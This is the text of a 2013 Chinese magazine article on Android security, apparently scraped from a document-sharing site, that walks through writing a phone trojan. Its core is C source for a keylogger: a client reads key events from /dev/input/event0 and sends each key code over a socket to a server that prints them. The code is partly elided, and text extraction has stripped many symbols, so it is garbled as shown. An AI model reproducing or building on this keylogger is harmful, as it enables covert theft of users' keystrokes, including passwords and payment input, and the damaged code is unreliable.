浅谈安卓手机安全及安卓手机木马编程.pdf
《浅谈安卓手机安全及安卓手机木马编程.pdf》由会员分享,可在线阅读,更多相关《浅谈安卓手机安全及安卓手机木马编程.pdf(2页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、消费电子 计算机科学 Consumer Electronics Magazine 2013 年 7 月下 2013 消费电子 88 浅谈安卓手机安全及安卓手机木马编程 吴栋(杭州电子科技大学,杭州 310018)摘 要:摘 要:随着手机使用的普及,手机职能技术越来越先进,大部分手机都安装了最为先进的智能系统,不仅可以通话,同时还具备多种上网功能、在线购物付款功能、在线炒股、在线转账等功能,这些功能的加入同时也使得手机的安全性越来越受到威胁,因此研究现阶段智能手机的安全功能保障及相应的故障防卫编程成为智能手机发展的重要课题之一。关键词:关键词:安卓手机;木马程序;编码 中图分类号:中图分类号:T
2、P309.5 文献标识码:文献标识码:A 文章编号:文章编号:1674-7712(2013)14-0088-01 在智能手机风生水起的时代,安卓智能手机占据了大部分席位,就最新统计的数据来看,Android 智能手机在中国的占有率为 86%。所以,正如 Windows 操作系统有如此多的用户一样,不可避免的会带来安全性问题。随着智能手机的普及,手机的安全性也变得越来越热门和重要。android 系统是一个以 Linux 为基础的半开源操作系统,其内核属于 Linux 内核的一个分支,具有典型的 Linux 调度和功能。所以,一个 Native C 程序,经过交叉编译,完全可以在 Android
3、 系统上运行。我们的目标是编写一个简单的手机木马,这个木马分为服务端和客户端两个部分,实现的功能是客户端可以获取手机的按键信息,并把信息发送给服务端。核心源码如下:其实这个手机木马就是通过 socket 连接来编写的,socket 部分大家都应该比较清楚了,那就讲讲字符处理的部分吧。服务端部分:服务端的核心部就是接收客户端发送的信息,并显示出来。int main(int argc,char*argv)/*省略部分代码,以下为核心代码*/while(len=recv(client_sockfd,buf,BUFSIZ,0)0)printf(%sn,buf);memset(buf,0,BUFSIZ)
4、;if(send(client_sockfd,buf,len,0)0)perror(write);return 1;close(client_sockfd);close(server_sockfd);return 0;客户端部分:客户端的主要核心代码部分就是循环读取手机的字符存储设备,并发送给服务端。int main(void)/*省略部分代码,以下为核心代码*/event0_fd=open(/dev/input/event0,O_RDWR);if(event0_fd0)return-1;printf(Start.n);while(1)rd=read(event0_fd,ev0,sizeof(
5、struct input_event)*64);if(rd sizeof(struct input_event)return 0;for(i=0;i rd/sizeof(struct input_event);i+)if(ev0i.type=1&ev0i.value=1)printf(The key code is:%3dn,ev0i.code);if(ev0i.code=158)break;memset(buf,0,BUFSIZ);sprintf(buf,%d,ev0i.code);len=send(client_sockfd,buf,strlen(buf),0);源码中已经给出了很多注释,
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 浅谈 手机 安全 木马 编程
限制150内